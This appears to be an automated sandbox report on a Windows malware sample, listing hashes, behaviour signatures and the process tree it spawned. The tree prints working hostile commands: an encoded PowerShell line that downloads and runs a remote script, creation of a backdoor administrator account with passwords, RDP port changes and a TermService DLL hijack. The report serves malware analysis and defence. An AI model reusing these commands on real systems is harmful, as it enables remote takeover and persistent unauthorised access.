Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1710s
  • max time network
    1741s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    02-09-2021 16:25

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wxut4r0f\wxut4r0f.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1308
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A23.tmp" "c:\Users\Admin\AppData\Local\Temp\wxut4r0f\CSC249ECC34788B4231A934D2558BAC15C4.TMP"
          4⤵
            PID:1312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3836
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3756
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2532
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2996
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3968
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2788
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:576
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:196
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1300
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3028
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2532
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2996
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3080
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3832
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1844
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2972
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2264
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3916
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1188
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:2260
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc N9Xm3ZCO /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2300
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc N9Xm3ZCO /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2516
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc N9Xm3ZCO /add
                          3⤵
                            PID:1300
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2008
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2264
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:4076
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2972
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1420
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3292
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2068
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1520
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:2172
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc N9Xm3ZCO
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3980
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc N9Xm3ZCO
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1300
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc N9Xm3ZCO
                                  3⤵
                                    PID:196
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2972
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3968
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:1256
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:1300
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:2848
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:192
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4076
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                          1⤵
                                            PID:1188
                                            • C:\Windows\system32\net.exe
                                              net user wgautilacc 111213
                                              2⤵
                                                PID:2172
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user wgautilacc 111213
                                                  3⤵
                                                    PID:2848
                                                • C:\Windows\system32\net.exe
                                                  net user wgautilacc /active:yes
                                                  2⤵
                                                    PID:3472
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 user wgautilacc /active:yes
                                                      3⤵
                                                        PID:188

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\Users\Admin\AppData\Local\Temp\RES9A23.tmp

                                                    MD5

                                                    5fd98d205c7de7af5ed82341da8cb621

                                                    SHA1

                                                    ce18c2a3e25829ef7017c48b0193f9ed96304293

                                                    SHA256

                                                    17061c224774fed1282505677200c13016a01711c9d66b01a83fb62483a52e87

                                                    SHA512

                                                    ab3773366a74731820ccd77c32bdc744a996b2b4925dca95b7873282c9e68815bded221338d81d1b01502f3a6fd501a532bbf23cb3b50d090167181383827449

                                                  • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                    MD5

                                                    3447df88de7128bdc34942334b2fab98

                                                    SHA1

                                                    519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                    SHA256

                                                    9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                    SHA512

                                                    2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                  • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                    MD5

                                                    00fb904b2dd958760943b89400e9b7f9

                                                    SHA1

                                                    8c825862b6f70cbaef991525f31100f713e61e7d

                                                    SHA256

                                                    392e751cec2e13cbbea5161ae4044532961f8e9013cebaa120ac7553388c919a

                                                    SHA512

                                                    ee4c598b268768f2a2063064ff2a771042bfa5b41e4c5029cb297a17c265a93ab749a3ffecfe28d9e5084068d77e487d14291e780a3d6da1e0fcfbc26b6bc28a

                                                  • C:\Users\Admin\AppData\Local\Temp\wxut4r0f\wxut4r0f.dll

                                                    MD5

                                                    e8498786994f6fa8fc41e56a5fcd9548

                                                    SHA1

                                                    07b3bac8b1d638715716f2e9e259cf0bbbb870ce

                                                    SHA256

                                                    8f45375b297c8f997c761a05559811d0f2ed9721a1c7bc98aa56270ff9c7789b

                                                    SHA512

                                                    9186c5438da7a190f06437fe8e37ef1a15300871f8996242385fae8317f498ba355c91a94f487dda836895f99eac8c83cad03d23a8383f7e65edaa91db31766f

                                                  • \??\c:\Users\Admin\AppData\Local\Temp\wxut4r0f\CSC249ECC34788B4231A934D2558BAC15C4.TMP

                                                    MD5

                                                    1f40172eba3b5579f8cc7eccc557eac1

                                                    SHA1

                                                    4a04161e88a51b9029f497cca84033aa84609f49

                                                    SHA256

                                                    871d297b3961f15056068cffbf3d2cf85465a6cc8e4cf7adbcee9ba8c1ec2dcf

                                                    SHA512

                                                    bbf73144805d73ee468a053bb4f5e2c94b71a705e2616960eb77a0cf29e02209c7551911de84e4eaba17165ac85ddb25f0847013654352c8f88e4a5593d19373

                                                  • \??\c:\Users\Admin\AppData\Local\Temp\wxut4r0f\wxut4r0f.0.cs

                                                    MD5

                                                    4864fc038c0b4d61f508d402317c6e9a

                                                    SHA1

                                                    72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                    SHA256

                                                    0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                    SHA512

                                                    9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                  • \??\c:\Users\Admin\AppData\Local\Temp\wxut4r0f\wxut4r0f.cmdline

                                                    MD5

                                                    4c3eddd88e27613137f9fc37e4b264ca

                                                    SHA1

                                                    0d4557f4dd9afb549c244a21072ad3296113df53

                                                    SHA256

                                                    37ca03b68da12b308b0d1562baabc3503db1e7cd03727a25ebe24db24b9744ab

                                                    SHA512

                                                    f4bf682a65d4b2a94d8b1fff380df3fa792597c4b344c5cf0800af6a428583f81fe4cdb6114f9d40b7881a0e6754c2a3e8a6d7cb49a230ec7791ae4c3fc5b182

                                                  • \Windows\Branding\mediasrv.png

                                                    MD5

                                                    b110f38845e18a04ab59a7d8a134ef40

                                                    SHA1

                                                    8119030034e6fbe62d875e824b5233c1f29d61a0

                                                    SHA256

                                                    1cbd533a8cf6875e9b9bc60b11711b591bd30aac6377a11ee90c2735182414ea

                                                    SHA512

                                                    80eb80651141c2e00165f089700cc15eb3c5e5eee4ce4e91759e63f5230db8445bc3793c0f5fd259f98ce2939f19633fe7225db990e6574fd739f1d29cf7f223

                                                  • \Windows\Branding\mediasvc.png

                                                    MD5

                                                    5768a809b9fcbff117dffa8cbf2e8852

                                                    SHA1

                                                    a056e76d15bc7509d0361175b2ae4ba348460cd6

                                                    SHA256

                                                    8ab19cdbe2b963c8bcf8cac6a11e003423ec91ffad88d885d550beb835e46094

                                                    SHA512

                                                    99d14d6b3c6cf2e872def0b5dd76ffd81d4c71b577bf5fa4700dbb524d5d26bf09d4ffab2dfc6d493303711b635669f35e7cfc90578e6cc2e2f251f422818b8b

                                                  • memory/188-495-0x0000000000000000-mapping.dmp

                                                  • memory/192-368-0x0000000000000000-mapping.dmp

                                                  • memory/196-365-0x0000000000000000-mapping.dmp

                                                  • memory/196-344-0x0000000000000000-mapping.dmp

                                                  • memory/576-341-0x0000000000000000-mapping.dmp

                                                  • memory/1188-354-0x0000000000000000-mapping.dmp

                                                  • memory/1300-345-0x0000000000000000-mapping.dmp

                                                  • memory/1300-364-0x0000000000000000-mapping.dmp

                                                  • memory/1300-357-0x0000000000000000-mapping.dmp

                                                  • memory/1300-367-0x0000000000000000-mapping.dmp

                                                  • memory/1308-137-0x0000000000000000-mapping.dmp

                                                  • memory/1312-140-0x0000000000000000-mapping.dmp

                                                  • memory/1420-360-0x0000000000000000-mapping.dmp

                                                  • memory/1520-362-0x0000000000000000-mapping.dmp

                                                  • memory/1736-276-0x000002779E386000-0x000002779E388000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1736-240-0x0000000000000000-mapping.dmp

                                                  • memory/1736-273-0x000002779E383000-0x000002779E385000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1736-272-0x000002779E380000-0x000002779E382000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1736-291-0x000002779E388000-0x000002779E38A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1844-351-0x0000000000000000-mapping.dmp

                                                  • memory/2172-492-0x0000000000000000-mapping.dmp

                                                  • memory/2172-363-0x0000000000000000-mapping.dmp

                                                  • memory/2260-355-0x0000000000000000-mapping.dmp

                                                  • memory/2264-449-0x0000000000000000-mapping.dmp

                                                  • memory/2264-358-0x0000000000000000-mapping.dmp

                                                  • memory/2516-356-0x0000000000000000-mapping.dmp

                                                  • memory/2532-301-0x0000000000000000-mapping.dmp

                                                  • memory/2532-347-0x0000000000000000-mapping.dmp

                                                  • memory/2788-340-0x0000000000000000-mapping.dmp

                                                  • memory/2848-493-0x0000000000000000-mapping.dmp

                                                  • memory/2916-127-0x000001E5C7E10000-0x000001E5C7E11000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-130-0x000001E5C8000000-0x000001E5C8001000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-136-0x000001E5C7E76000-0x000001E5C7E78000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-144-0x000001E5C7F80000-0x000001E5C7F81000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-126-0x000001E5C7E73000-0x000001E5C7E75000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-125-0x000001E5C7E70000-0x000001E5C7E72000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-120-0x0000000000000000-mapping.dmp

                                                  • memory/2916-150-0x000001E5C8560000-0x000001E5C8561000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-151-0x000001E5C7E78000-0x000001E5C7E79000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-152-0x000001E5C88F0000-0x000001E5C88F1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2972-448-0x0000000000000000-mapping.dmp

                                                  • memory/2996-302-0x0000000000000000-mapping.dmp

                                                  • memory/2996-348-0x0000000000000000-mapping.dmp

                                                  • memory/3028-346-0x0000000000000000-mapping.dmp

                                                  • memory/3080-349-0x0000000000000000-mapping.dmp

                                                  • memory/3128-118-0x00000126E87D5000-0x00000126E87D6000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3128-115-0x00000126E87D0000-0x00000126E87D2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3128-114-0x00000126E93E0000-0x00000126E9800000-memory.dmp

                                                    Filesize

                                                    4.1MB

                                                  • memory/3128-119-0x00000126E87D6000-0x00000126E87D7000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3128-117-0x00000126E87D3000-0x00000126E87D5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3292-361-0x0000000000000000-mapping.dmp

                                                  • memory/3472-494-0x0000000000000000-mapping.dmp

                                                  • memory/3756-271-0x000001E6BBF78000-0x000001E6BBF7A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3756-235-0x000001E6BBF76000-0x000001E6BBF78000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3756-210-0x000001E6BBF73000-0x000001E6BBF75000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3756-209-0x000001E6BBF70000-0x000001E6BBF72000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3756-201-0x0000000000000000-mapping.dmp

                                                  • memory/3832-350-0x0000000000000000-mapping.dmp

                                                  • memory/3836-172-0x000001E1FE916000-0x000001E1FE918000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3836-168-0x000001E1FE910000-0x000001E1FE912000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3836-159-0x0000000000000000-mapping.dmp

                                                  • memory/3836-169-0x000001E1FE913000-0x000001E1FE915000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3836-208-0x000001E1FE918000-0x000001E1FE91A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3968-366-0x0000000000000000-mapping.dmp

                                                  • memory/3968-303-0x0000000000000000-mapping.dmp

                                                  • memory/4076-369-0x0000000000000000-mapping.dmp

                                                  • memory/4076-383-0x0000025276E03000-0x0000025276E05000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4076-382-0x0000025276E00000-0x0000025276E02000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4076-384-0x0000025276E06000-0x0000025276E08000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4076-435-0x0000025276E08000-0x0000025276E09000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/4076-359-0x0000000000000000-mapping.dmp